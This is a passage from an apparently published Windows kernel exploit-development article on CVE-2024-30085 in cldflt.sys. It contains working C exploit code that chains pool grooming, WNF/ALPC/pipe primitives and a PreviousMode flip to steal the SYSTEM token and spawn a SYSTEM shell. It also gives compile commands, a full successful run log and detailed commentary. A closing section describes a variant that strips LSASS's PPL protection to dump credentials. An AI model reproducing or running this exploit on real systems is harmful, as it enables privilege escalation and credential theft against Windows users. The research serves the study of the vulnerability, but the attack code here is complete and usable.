        printf("[!] CRITICAL: PreviousMode NOT restored! System may be unstable.\n");
    }

    if (!phase1_ok) {
        printf("[-] Phase 1 failed: 0x%08X\n", nt_status);
        if (hSysProc) g_NtClose(hSysProc);
        if (hSysToken) g_NtClose(hSysToken);
        if (hImpToken) g_NtClose(hImpToken);
        return FALSE;
    }

    printf("[+] NtOpenProcess(PID 4) + token dup + EPROCESS write: OK\n");
    printf("[+] Token write:   0x%08X\n", token_write_status);
    printf("[+] Flink restore: 0x%08X%s\n", pipe_restore_status,
        pipe_restore_status == 0 ? " (kernel structures repaired)" : "");

    HANDLE nullToken = NULL;
    g_NtSetInformationThread((HANDLE)(LONG_PTR)-2, 5, &nullToken, sizeof(HANDLE));

    g_NtClose(hSysToken);
    g_NtClose(hSysProc);
    g_NtClose(hImpToken);

    HANDLE hVerifyToken = NULL;
```

```
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hVerifyToken)) {
        BYTE tbuf[256];
        DWORD tlen = 0;
        if (GetTokenInformation(hVerifyToken, TokenUser, tbuf, sizeof(tbuf), &tlen)) {
            PSID tsid = ((TOKEN_USER*)tbuf)->User.Sid;
            LPWSTR tsidStr = NULL;
            if (ConvertSidToStringSidW(tsid, &tsidStr)) {
                printf("[+] Process token SID: %ls\n", tsidStr);
                LocalFree(tsidStr);
            }
        }
        CloseHandle(hVerifyToken);
    }
    else {
        printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
    }

    printf("[*] Creating SYSTEM shell...\n");

    STARTUPINFOW si = {};
    si.cb = sizeof(STARTUPINFOW);
    PROCESS_INFORMATION pi = {};

    WCHAR cmdPath[MAX_PATH];
    GetSystemDirectoryW(cmdPath, MAX_PATH);
    wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

    BOOL proc_ok = CreateProcessW(cmdPath, NULL, NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    if (!proc_ok) {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created, PID: %lu\n", pi.dwProcessId);

    HANDLE hNewToken = NULL;
    if (OpenProcessToken(pi.hProcess, TOKEN_QUERY, &hNewToken)) {
        BYTE buf[256];
        DWORD len = 0;
        if (GetTokenInformation(hNewToken, TokenUser, buf, sizeof(buf), &len)) {
            PSID sid = ((TOKEN_USER*)buf)->User.Sid;
            LPWSTR sidStr = NULL;
            if (ConvertSidToStringSidW(sid, &sidStr)) {
                printf("[+] Shell token SID: %ls\n", sidStr);
                if (wcscmp(sidStr, L"S-1-5-18") == 0) {
                    printf("\n[+] ============================================\n");
                    printf("[+]   CONFIRMED: SYSTEM SHELL SPAWNED!\n");
                    printf("[+]   PID: %lu | SID: S-1-5-18\n", pi.dwProcessId);
                    printf("[+]   Method: PreviousMode flip + NtWriteVirtualMemory\n");
                    printf("[+] ============================================\n");
                }
                else {
                    printf("[-] WARNING: Shell is NOT running as SYSTEM\n");
                    printf("[-] SID: %ls\n", sidStr);
```

```
                }
                LocalFree(sidStr);
            }
        }
        CloseHandle(hNewToken);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Stage 23 COMPLETE\n");
    return TRUE;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
    printf("\n========================================\n");
    printf("    CLEANUP\n");
    printf("========================================\n");

    printf("[*] Skipping WNF deletions (pool corruption safety)\n");

    if (g_pipe_read && g_pipe_write) {
        for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
            if ((int)i == g_target_pipe_index) continue;
            if (g_pipe_read[i]) CloseHandle(g_pipe_read[i]);
            if (g_pipe_write[i]) CloseHandle(g_pipe_write[i]);
        }
    }

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);
    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);
    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    if (g_alpc_ports) {
        printf("[*] Closing %d ALPC ports...\n", ALPC_PORT_COUNT);
        for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
            if (g_alpc_ports[i]) { CloseHandle(g_alpc_ports[i]); g_alpc_ports[i] =
NULL; }
        }
        printf("[+] ALPC ports closed\n");
    }

    if (g_fake_kalpc_reserve_object) { VirtualFree(g_fake_kalpc_reserve_object, 0,
MEM_RELEASE); g_fake_kalpc_reserve_object = NULL; }
    if (g_fake_kalpc_message_object) { VirtualFree(g_fake_kalpc_message_object, 0,
MEM_RELEASE); g_fake_kalpc_message_object = NULL; }

    if (g_target_pipe_index >= 0 && g_pipe_read && g_pipe_write) {
        printf("[*] Closing target pipe (index %d)...\n", g_target_pipe_index);
```

```
        if (g_pipe_read[g_target_pipe_index])
CloseHandle(g_pipe_read[g_target_pipe_index]);
        if (g_pipe_write[g_target_pipe_index])
CloseHandle(g_pipe_write[g_target_pipe_index]);
        printf("[+] Target pipe closed\n");
    }

    printf("[+] Cleanup complete\n");
}

//==========================================================================
// MAIN
//==========================================================================

int wmain(void) {

printf("==========================================================================\n
");
    printf("  CVE-2024-30085 Exploit | PreviousMode Edition \n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  PreviousMode flip -> NtOpenProcess(SYSTEM) -> Token Duplicate ->
Shell\n");

printf("==========================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    if (!DiscoverKthreadEarly()) {
        printf("[-] KTHREAD discovery failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage03_AlpcPorts();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
    if (success) success = Stage06_CreateHoles();
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();
    if (success) success = Stage09_AlpcReserves();
    if (success) success = Stage10_LeakKernelPointer();

    if (!g_leaked_kalpc) {
        printf("\n[-] FIRST WAVE FAILED - Try again\n");
        getchar();
        Cleanup();
        return -1;
    }
```

```
    printf("\n=== FIRST WAVE SUCCESS: Leaked 0x%p ===\n", g_leaked_kalpc);

    if (success) success = Stage11_CreatePipes();
    if (success) success = Stage12_SprayPipeAttributesClaim();
    if (success) success = Stage13_SecondWnfSpray();
    if (success) success = Stage14_CreateHolesSecond();
    if (success) success = Stage15_PlaceSecondOverflow();
    if (success) success = Stage16_TriggerSecondOverflow();
    if (success) success = Stage17_FillWithPipeAttributes();
    if (success) success = Stage18_FindSecondVictimAndLeakPipe();
    if (success) success = Stage19_SetupArbitraryRead();
    if (success) success = Stage20_ReadKernelMemory();

    if (success) success = Stage21_DiscoverEprocessAndToken();
    if (success) success = Stage22_FlipPreviousMode();
    if (success) success = Stage23_PreviousModeExploit();


printf("\n================================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("================================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

This code can be compiled using Visual Studio 2022/2026 or Visual Studio Code, which demands a compilation like as follows:

- `cl.exe /nologo /W4 /O2 /TP /D WIN32 /D _UNICODE /D UNICODE exploit_previousmode_edition.c /link /OUT:exploit_previousmode_edition.exe Cldapi.lib ntdll.lib onecore.lib`

The output of the exploit is as follows:

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\aborges> whoami
desktop-31fh7lh\aborges
PS C:\Users\aborges>
PS C:\Users\aborges> cd C:\Users\aborges\Desktop\RESEARCH
PS C:\Users\aborges\Desktop\RESEARCH> .\exploit_previousmode_edition.exe
================================================================================
  CVE-2024-30085 Exploit | PreviousMode Edition
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  PreviousMode flip -> NtOpenProcess(SYSTEM) -> Token Duplicate -> Shell
================================================================================
[+] All ntdll functions resolved
```

```
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot
[*] Pre-discovering KTHREAD for PID=9796 TID=10144
[+] KTHREAD: 0xFFFFAD8F92AE82C0 (will verify PreviousMode in Stage 21)

========================================
    STAGE 01: DEFRAGMENTATION
========================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

========================================
    STAGE 02: CREATE WNF NAMES
========================================
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

========================================
    STAGE 03: ALPC PORTS
========================================
[+] Created 2048 ALPC ports
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

========================================
    STAGE 04: UPDATE WNF PADDING DATA
========================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

========================================
    STAGE 05: UPDATE WNF STATE DATA
========================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

========================================
    STAGE 06: CREATE HOLES
========================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE

========================================
    STAGE 07: PLACE OVERFLOW BUFFER
========================================
[+] Reparse point set (ChangeStamp=0xC0DE)
[+] Stage 07 COMPLETE

========================================
    STAGE 08: TRIGGER OVERFLOW
========================================
[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE
```

```
=======================================
    STAGE 09: ALPC RESERVES
=======================================
[+] Created 526336 total reserves
[+] Saved reserve handle: 0x0000000080000010
[+] Waiting for the memory to stabilize...
[+] Stage 09 COMPLETE

=======================================
    STAGE 10: LEAK KERNEL POINTER
=======================================
[+] Found victim WNF at index 1 (DataSize: 0xFF8)
[+] KERNEL POINTER LEAKED: 0xFFFFE2035D2CEB10
[+] Stage 10 COMPLETE

=== FIRST WAVE SUCCESS: Leaked 0xFFFFE2035D2CEB10 ===

=======================================
    STAGE 11: CREATE PIPES
=======================================
[+] Created 1536 pipe pairs
[+] Waiting for the memory to stabilize...
[+] Stage 11 COMPLETE

=======================================
    STAGE 12: SPRAY PIPE ATTRS (CLAIM)
=======================================
[+] Set 1536 pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 12 COMPLETE

=======================================
    STAGE 13: SECOND WNF SPRAY
=======================================
[+] Created and updated 1536 second wave WNF
[+] Waiting for the memory to stabilize...
[+] Stage 13 COMPLETE

=======================================
    STAGE 14: CREATE HOLES (SECOND)
=======================================
[+] Created 768 holes
[+] Waiting for the memory to stabilize...
[+] Stage 14 COMPLETE

=======================================
    STAGE 15: PLACE SECOND OVERFLOW
=======================================
[+] Reparse point set (ChangeStamp=0xDEAD)
[+] Stage 15 COMPLETE

=======================================
    STAGE 16: TRIGGER SECOND OVERFLOW
=======================================
[+] Second overflow triggered
[+] Waiting for the memory to stabilize...
[+] Stage 16 COMPLETE

=======================================
```

```
    STAGE 17: FILL WITH PIPE ATTRS
=======================================
[+] Set 1536 large pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 17 COMPLETE

=======================================
    STAGE 18: FIND VICTIM & LEAK PIPE
=======================================
[+] Found second victim WNF at index 3
[+] PIPE_ATTRIBUTE LEAKED: 0xFFFFE2035D605CB0
[+] Stage 18 COMPLETE

=======================================
    STAGE 19: SETUP ARBITRARY READ
=======================================
[+] Fake pipe_attr at: 0x00007FF71A5FCA30
[+] pipe_attribute->Flink corrupted
[+] Stage 19 COMPLETE

=======================================
    STAGE 20: READ KERNEL MEMORY
=======================================
[+] Found target pipe at index 0
[*] KALPC_RESERVE:
    +0x00: 0xFFFFAD8F95A3A6C0
    +0x08: 0xFFFFE203597A7DE8
    +0x10: 0x0000000000000010
    +0x18: 0xFFFFE203577628B0
[+] Arbitrary READ primitive established!
[+] Stage 20 COMPLETE

=======================================
    STAGE 21: DISCOVER EPROCESS/TOKEN
=======================================
[+] ALPC_PORT: 0xFFFFAD8F95A3A6C0
[+] EPROCESS: 0xFFFFAD8F954D70C0 (exploit_previous)
[*] Our PID: 9796
[+] Our EPROCESS: 0xFFFFAD8F954D70C0
[+] Our Token: 0xFFFFE2035A5E3730
[+] SYSTEM EPROCESS: 0xFFFFAD8F8F6FE040
[+] SYSTEM Token: 0xFFFFE20351667760 (raw: 0xFFFFE2035166776F)
[+] Winlogon PID: 756

[*] KTHREAD: 0xFFFFAD8F92AE82C0
[+] PreviousMode: 0x01 (UserMode)
[+] Stage 21 COMPLETE

=======================================
    STAGE 22: FLIP PREVIOUSMODE
=======================================
[*] Target: KTHREAD+0x232 (0xFFFFAD8F92AE84F2)
[*] PreviousMode BEFORE: 0x01 (UserMode)
[*] Corrupting KALPC handle table via WNF OOB write...
[*] Sending ALPC write to flip PreviousMode -> 0...
[*] PreviousMode AFTER:  0x00 (KernelMode)
[+] PreviousMode FLIPPED to 0x00 (KernelMode)!
[!] All subsequent syscalls bypass access checks
[+] Stage 22 COMPLETE
```

```
========================================
    STAGE 23: PREVIOUSMODE EXPLOIT
========================================
[*] Executing PreviousMode=0 syscall sequence...
[*] Corrupted pipe attr at: 0xFFFFE20378465000 (will restore Flink)
[+] PreviousMode restored: 0x00 (STILL KERNEL!)
[!] CRITICAL: PreviousMode NOT restored! System may be unstable.
[+] NtOpenProcess(PID 4) + token dup + EPROCESS write: OK
[+] Token write:   0x00000000
[+] Flink restore: 0x00000000 (kernel structures repaired)
[+] Process token SID: S-1-5-18
[*] Creating SYSTEM shell...
[+] Process created, PID: 3656
[+] Shell token SID: S-1-5-18

[+] ============================================
[+]   CONFIRMED: SYSTEM SHELL SPAWNED!
[+]   PID: 3656 | SID: S-1-5-18
[+]   Method: PreviousMode flip + NtWriteVirtualMemory
[+] ============================================
[+] Stage 23 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
================================================================================

[*] Press ENTER to cleanup and exit...


========================================
    CLEANUP
========================================
[*] Skipping WNF deletions (pool corruption safety)
[*] Closing 2048 ALPC ports...
[+] ALPC ports closed
[*] Closing target pipe (index 0)...
[+] Target pipe closed
[+] Cleanup complete
PS C:\Users\aborges\Desktop\RESEARCH>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges\Desktop\RESEARCH>whoami
nt authority\system

C:\Users\aborges\Desktop\RESEARCH>ver

Microsoft Windows [Version 10.0.22631.2428]

C:\Users\aborges\Desktop\RESEARCH>
```

05.04. Exploit commented

This subsection brings some further details about the exploit, which can be interpreted as a supplemental of Exploit Overview subsection.

Once again, I have tried to build the exploit based on three big-phases using the same approach that worked reasonably for the previous versions. Since ERS 06 article, I have used the same vulnerability (CVE-2024-30085, a heap-based buffer overflow in cldflt.sys), which allows a 16-byte overflow (0x1010 bytes into a 0x1000 buffer) in the paged pool, which is leveraged through a multi-stage chain to achieve arbitrary kernel read and write. The chain is organized into 23 stages across three phases, preceded by a pre-initialization step that discovers the _KTHREAD address. As readers can realize, the exploit structure follows the same standard, even though different techniques have been implemented since then.

Phase A (first wave, Stages 1 through 10) establishes the initial kernel pointer leak. The exploit grooms the paged pool by spraying WNF_STATE_DATA objects (structures), each approximately 0x1000 bytes, allocated via NtUpdateWnfStateData function with 0xFF0 data bytes (I discussed about this value in ERS 06 article). The kernel allocates a 0x1000-byte pool block with tag 'Wnf ' containing a WNF_STATE_DATA header plus inline data. These spray objects are placed adjacent to the cldflt.sys buffer (pool tag 'mBsH', PagedPool, 0x1000 bytes -- check the vulnerable code shown in ERS 06). ALPC ports with resource reserves are also sprayed into the same pool region and, when the overflow triggers, the 16-byte overwrite corrupts the header of an adjacent WNF object, extending its readable size from 0xFF0 to 0xFF8 (8 extra bytes). The exploit then queries the corrupted WNF via NtQueryWnfStateData function to read out-of-bounds, leaking the kernel address of a KALPC_RESERVE object from the adjacent ALPC allocation at offset 0xFF0. This leaked pointer anchors all subsequent kernel operations, but it is the same sequence of operations from previous articles.

Phase B (second wave, Stages 11 through 20) establishes the arbitrary kernel read primitive, which is quite similar to previous articles. Therefore, a second overflow is triggered to corrupt a different pool region and named pipe attribute objects are sprayed adjacent to the target. The overflow corrupts a pipe attribute's linked list pointer (Flink), redirecting it to a fake attribute structure in user mode. By querying the pipe attribute via FSCTL_PIPE_GET_PIPE_ATTRIBUTE, the exploit reads from any kernel address specified in the fake attribute's ValueAddress field. Stage 20 uses this read primitive on the leaked KALPC_RESERVE to capture two kernel addresses, which are the ALPC_PORT (via KALPC_RESERVE.OwnerPort) and its handle table (KALPC_RESERVE.HandleTable at offset 0x08). These are consumed later by the ALPC write primitive in Stage 22.

Phase C (privilege escalation, Stages 21 through 23) performs the PreviousMode flip and exploitation window. However, before the heap spray begins, the exploit discovers the _KTHREAD address by enumerating the system handle table via NtQuerySystemInformation function call. This must happen early because the large allocation would break the groomed pool layout if done later, and personally I have faced issues at this point. As a side note, it is not the first time in this series of articles that I was compelled to manage the order of tasks and, if readers remember, I needed to invert order of stages in previous articles to keep the layout of memory. Proceeding with the explanation, Stage 21 dereferences ALPC_PORT.OwnerProcess field to obtain the associated _EPROCESS structure address, then walks the ActiveProcessLinks linked list to discover the System process (PID 4) with its _EPROCESS and token, the exploit's own process with its _EPROCESS and token, and winlogon.exe with its PID (different from previous article, this one is not used in this exploit version). Stage 21 also verifies the _KTHREAD address by reading _KTHREAD.PreviousMode field through the pipe read primitive and confirming it contains 0x01 (UserMode). Stage 22 uses the ALPC write primitive to flip PreviousMode to 0x00. Finally, Stage 23 exploits the PreviousMode=0 window through three phases, where in Phase 1 executes the pure ntdll syscall sequence (NtOpenProcess, NtOpenProcessTokenEx, NtDuplicateToken, NtSetInformationThread,

NtWriteVirtualMemory functions for the token stealing, and NtWriteVirtualMemory function for the Flink restore), in Phase 2 restores PreviousMode to 0x01 via NtWriteVirtualMemory function and, in Phase 3, it stops impersonation, verifies the process token SID equals S-1-5-18 (SYSTEM), and spawns a SYSTEM shell via CreateProcessW function call.

After having commented and done a general review of three phases, I would like to make comments about details and stages that have been implemented in this version of the exploit, which is based on flipping a single byte inside the exploit thread's _KTHREAD structure, in special KTHREAD.PreviousMode field. To target that specific field, the exploit must first know the kernel address of its own _KTHREAD structure, and it must obtain that address without relying on the arbitrary-read primitive (which does not yet exist at this point) and without disturbing or even causing issues to the pool layout that the later heap-spray stages depend on. One of workable solutions is to enumerate the system handle table via NtQuerySystemInformation function and read the Object field of the entry matching the exploit's own thread handle, and actually that field is the _KTHREAD kernel address. This lookup requires no kernel read/write primitive and no elevated privileges, which is one of foundations of this class of exploitation techniques, so it can run at the very beginning of the exploit. The only constraint is that it must run before any pool grooming, because the large buffer allocation it performs would otherwise destroy the adjacency patterns the spray stages are trying to build (as mentioned previously). Furthermore, it is exactly that restriction is the reason DiscoverKthreadEarly routine executes here, between InitializeSyncRoot and Stage 1, rather than anywhere inside the 23-stage chain as would be expected. Therefore, and to make clear, the DiscoverKthreadEarly function runs after InitializeSyncRoot function but before any heap spray stage, and its placement at this point in the execution flow was the result of my first unsuccessful attempts and bugs over the development.

Different from last articles, I will not comment on stages 01 to 22 because they are essentially identical to the token stealing exploit edition, except for really minor changes in stage 21 and 22, which this last one maybe has better logging and global variable lifetime management. Stage 23 is where major changes can be found because it is necessary to coordinate a sequence of kernel-mode operations within a carefully bounded “window” where PreviousMode=0, then safely unwinds the kernel-mode state and transitions to Win32 API calls for the final privilege escalation. My constant concern here was avoiding system crashes, which actually occurred during the code development. Before entering the “window”, the function performs a pre-read to discover the kernel address of the corrupted pipe attribute entry. It reads 16 bytes from g_leaked_pipe_attr (the next entry in the pipe attribute linked list after the corrupted one) and extracts the Blink field. The doubly-linked list property guarantees that if the corrupted entry's Flink was overwritten in Stage 19 to point to g_fake_pipe_attr, the next entry's Blink still points back to the corrupted entry. This address, stored in corrupted_pipe_flink_addr variable, is needed later for the Flink restore in Step F. The pre-read operation must happen before Phase 1 because the pipe read primitive still works at this point but will be invalidated after the Flink restore.

In terms of phase, Phase 1 is the PreviousMode=0 window, and it is governed by a critical constraint because, with PreviousMode=0, the kernel does not probe user-mode buffer addresses. While this is normally fine for simple Nt syscalls that pass user-mode stack or heap addresses as output buffers, I have realized that some Win32 APIs perform internal operations assume probing has occurred. A wrong call during this window can corrupt heap state and cause a crash, and this is another situation that I experimented previously too. Phase 2 restores PreviousMode, which consequently restores normal UserMode behavior. As I already had highlighted in previous articles, only 1 byte is written here (not 16

from first exploits) because NtWriteVirtualMemory function with PreviousMode=0 has no minimum size constraint but, of course, it is quite unlike for the ALPC write primitive which requires 0x10 bytes minimum for ExtensionBufferSize field. Therefore, after Phase 2, PreviousMode is 1 and all subsequent syscalls resume normal access check behavior. Finally, Phase 3 handles post-restore verification and shell spawning. The first critical action is to stop impersonation by calling NtSetInformationThread function using a NULL token handle because the impersonation token set during Phase 1 carries SecurityIdentification level (the kernel did not enforce impersonation level checks because PreviousMode=0 bypassed them). SecurityIdentification tokens cannot be used for file or object access, and any attempt produces error 1346 (ERROR_BAD_IMPERSONATION_LEVEL). By reverting to the process token (which is now SYSTEM via the _EPROCESS.Token write), all subsequent Win32 APIs succeed. After stopping impersonation and closing Phase 1 handles, the function verifies the process token SID by calling OpenProcessToken, GetTokenInformation with TokenUser, and ConvertSidToStringSidW functions. The expected result is S-1-5-18 (SYSTEM). It then spawns cmd.exe via CreateProcessW function, constructing the path with GetSystemDirectoryW function followed by appending "\\cmd.exe". The CREATE_NEW_CONSOLE flag ensures the shell gets its own console window. The child process inherits the process token, which is SYSTEM. A final verification opens the child's process token and confirms its SID is S-1-5-18.

In general terms, the necessary aspects for the PreviousMode exploit edition has been discussed, and it is a good point to stop.

06. PPL Bypass Edition Exploit

06.01. Fundamentals

This is the last exploit variant associated with CVE-2024-30085 and, this time, the purpose of the exploit is to do something different for spawning a terminal as SYSTEM.

Protected Process Light (PPL) is a Windows kernel security mechanism introduced in Windows 8.1 to defend critical system processes against tampering, even by processes running with SYSTEM privileges, which clearly has been our case so far as we learned in previous exploits. The mechanism works by annotating selected processes with a protection level stored in the _EPROCESS structure and when any process attempts to open a handle to a PPL-protected target, the kernel consults the caller's own protection level and denies access unless the caller has equal or higher protection. The most important PPL-protected process on a Windows system is LSASS (Local Security Authority Subsystem Service) because it is responsible for authenticating users, managing credentials, and its process memory contains NTLM password hashes, Kerberos ticket-granting tickets (TGT) and service tickets (TGS), and multiple other relevant artifacts. Of course, for an attacker who has achieved SYSTEM-level access on a machine, dumping LSASS memory is often the next objective, because the extracted credentials enable lateral movement across the network, and it is a well-known procedure through tools like Mimikatz that could dump LSASS memory from a SYSTEM context by calling OpenProcess function with PROCESS_ALL_ACCESS followed by

MiniDumpWriteDump function. However, PPL fixed this path and now even a SYSTEM-privilege process cannot open a handle to PPL-protected LSASS, because the caller lacks the required Signer level.

This version of the exploit, PPL bypass edition, demonstrates that a well-known approach and that kernel write primitive can nullify this protection entirely. By writing a single zero byte to the _PS_PROTECTION field in LSASS's _EPROCESS structure, the exploit clears the protection level to PsProtectedTypeNone. After this write, LSASS is no longer protected, and OpenProcess function succeeds. Therefore, when this is combined with the SYSTEM token obtained through the PreviousMode flip (as shown in the previous exploit), this latest version of exploit can then dump LSASS's full address space via MiniDumpWriteDump function, which produces a file that contains all cached credentials. At the end, the escalation path for this last exploit version is from regular user to SYSTEM (via token steal, as usual) then PPL strip (protection removal) on LSASS and finally doing credential dump without requiring administrator privileges.

06.02. Exploit overview

The _PS_PROTECTION structure occupies a single byte at _EPROCESS.Protection field and, despite being only 8 bits wide, this byte encodes three distinct fields through a bitfield layout that the exploit must understand precisely to both read and clear the protection level. The three fields are Type (bits 0 through 2), Audit (bit 3), and Signer (bits 4 through 7), which readers can check on https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_PS_PROTECTION. The Type field uses 3 bits and determines the fundamental protection category because 0 means PsProtectedTypeNone (no protection), 1 means PsProtectedTypeProtectedLight (PPL), and 2 means PsProtectedTypeProtected (full PP). The Audit field is a single bit that controls whether ETW (Event Tracing for Windows) traces are generated when access to the protected process is denied. The Signer field uses 4 bits and identifies which signing authority vouches for the process, which also is reported on Microsoft website, where 0 is PsProtectedSignerNone, 1 is Authenticode, 2 is CodeGen, 3 is Antimalware, 4 is Lsa, 5 is Windows, 6 is WinTcb, and 7 is WinSystem. There are parsing masks to _PS_PROTECTION structure, where these masks are Type = value & 0x7, Audit = (value >> 3) & 0x1 and Signer = (value >> 4) & 0xF and the reason I am mentioning them here is because during the exploit development mistakes in including the wrong bit for a field or another are common. To list processes classified as Protected Process Light (PPL), the following WinDbg command can be used:

```
0: kd> dx -r1 -g @$cursession.Processes.Where(process =>
process.KernelObject.Protection.Signer > 0).Select(p => new {Name = p.Name, Protection =
p.KernelObject.Protection.Signer}).OrderByDescending(obj => obj.@"Protection"),d

=============================================================
=            = Name                          = Protection =
=============================================================
= [4]        - System                        - 7          =
= [116]      - Registry                      - 7          =
= [2352]     - MemCompression                - 7          =
= [496]      - smss.exe                      - 6          =
= [696]      - csrss.exe                     - 6          =
= [776]      - wininit.exe                   - 6          =
= [784]      - csrss.exe                     - 6          =
= [920]      - services.exe                  - 6          =
= [5304]     - svchost.exe                   - 5          =
```

```
= [10568]    - SecurityHealthService.exe    - 5          =
= [10432]    - svchost.exe                  - 5          =
= [9652]     - svchost.exe                  - 5          =
= [9120]     - svchost.exe                  - 5          =
= [2708]     - sppsvc.exe                   - 5          =
= [932]      - lsass.exe                    - 4          =
= [3552]     - MpDefenderCoreService.exe    - 3          =
= [3660]     - MsMpEng.exe                  - 3          =
============================================================

0: kd> dt _PS_PROTECTED_SIGNER
ndis!_PS_PROTECTED_SIGNER
   PsProtectedSignerNone = 0n0
   PsProtectedSignerAuthenticode = 0n1
   PsProtectedSignerCodeGen = 0n2
   PsProtectedSignerAntimalware = 0n3
   PsProtectedSignerLsa = 0n4
   PsProtectedSignerWindows = 0n5
   PsProtectedSignerWinTcb = 0n6
   PsProtectedSignerWinSystem = 0n7
   PsProtectedSignerApp = 0n8
   PsProtectedSignerMax = 0n9
```

To build an exploit, we need understand what the practical values are for _PS_PROTECTION structure. The main one is 0x00, which means no protection (Type=0, Signer=0), and it is the specific goal of this exploit. Other ones are 0x41 that is PsProtectedSignerLsa-Light, 0x51 is PsProtectedSignerWindows-Light, 0x61 is PsProtectedSignerWinTcb-Light and 0x72 is PsProtectedSignerWinSystem-Protected, which is used by certain high-privilege system processes. Returning to _EPROCESS structure itself and immediately before _EPROCESS.Protection field we find _EPROCESS.SignatureLevel (Code Integrity signature level of the process's executable) and _EPROCESS.SectionSignatureLevel fields.

If readers remember, the ALPC write-primitive writes 16 bytes minimum because ExtensionBufferSize must be at least 0x10 and I tried lower values in ERS 06 article. In this current exploit, if the ALPC write-primitive were used to target _EPROCESS.Protection directly, it would overwrite the Protection byte and also all the 15 adjacent bytes, which would cause serious collateral damage in adjacent fields. However, in this exploit edition, I have chosen a different direction the PPL strip (protection removal) is performed via NtWriteVirtualMemory function during the PreviousMode=0 window and not via the ALPC write-primitive. Therefore, NtWriteVirtualMemory function provides us with single-byte precision, where only 1 byte is written at _EPROCESS.Protection field, and without disturbing adjacent fields. At the same way that in the previous article helped to getting write-precision, this same precision is one of the key advantages of the PreviousMode approach over direct ALPC writes when we are interesting in doing small and fine-grained kernel modifications.

Getting a bit more of Windows security details, when a process has PPL protection (Type=1 with an appropriate Signer level), the kernel enforces that only processes with equal or higher protection can open handles to it and, specifically, the PspCheckForActiveProtection function checks the caller's _PS_PROTECTION against the target's. As we already know, OpenProcess function with PROCESS_ALL_ACCESS fails even for SYSTEM-level processes because the caller program, which run as an unsigned user-mode binary, has no Signer level at all. Our goal is to write 0x00 value to _PS_PROTECTION.Level field and clear all three fields, which effectively would tell the kernel that LSASS has no protection at all.

The idea of PPL bypass exploit edition is to perform two distinct kernel writes in a single PreviousMode=0 window, and the first writes the SYSTEM token to the exploit process's _EPROCESS.Token and the second writes 0x00 to LSASS's _EPROCESS.Protection to remove any protection. There is a series of details to understand why both are required to be done and also in this order. In this case, the token steal must come first due to SeDebugPrivilege because even after clearing _PS_PROTECTION on LSASS, calling OpenProcess function with PROCESS_ALL_ACCESS still requires the caller to possess SeDebugPrivilege, which this privilege is not granted to normal user processes. Therefore, by writing the SYSTEM token to the exploit's _EPROCESS first, the exploit gains SYSTEM identity, which includes SeDebugPrivilege along with SeAssignPrimaryTokenPrivilege and every other privilege in the system. Finally, the first part of the equation is done and only then can the OpenProcess function call succeed. In the second part of the equation, the PPL strip (protection removing) must come second (but still within the PreviousMode=0 window) because it requires writing to a kernel address and, specifically, the _EPROCESS structure of a different process (LSASS, which is our target in this example). It turns out that NtWriteVirtualMemory function all with PreviousMode=0 can write to any address in the kernel's virtual address space because ProbeForWrite function is skipped and after PreviousMode is restored to 1, this capability disappears. As expected, this double strategy is only possible because the PreviousMode technique (check early sections) provides unlimited kernel writes via NtWriteVirtualMemory function once PreviousMode is flipped (and we took exactly this approach).

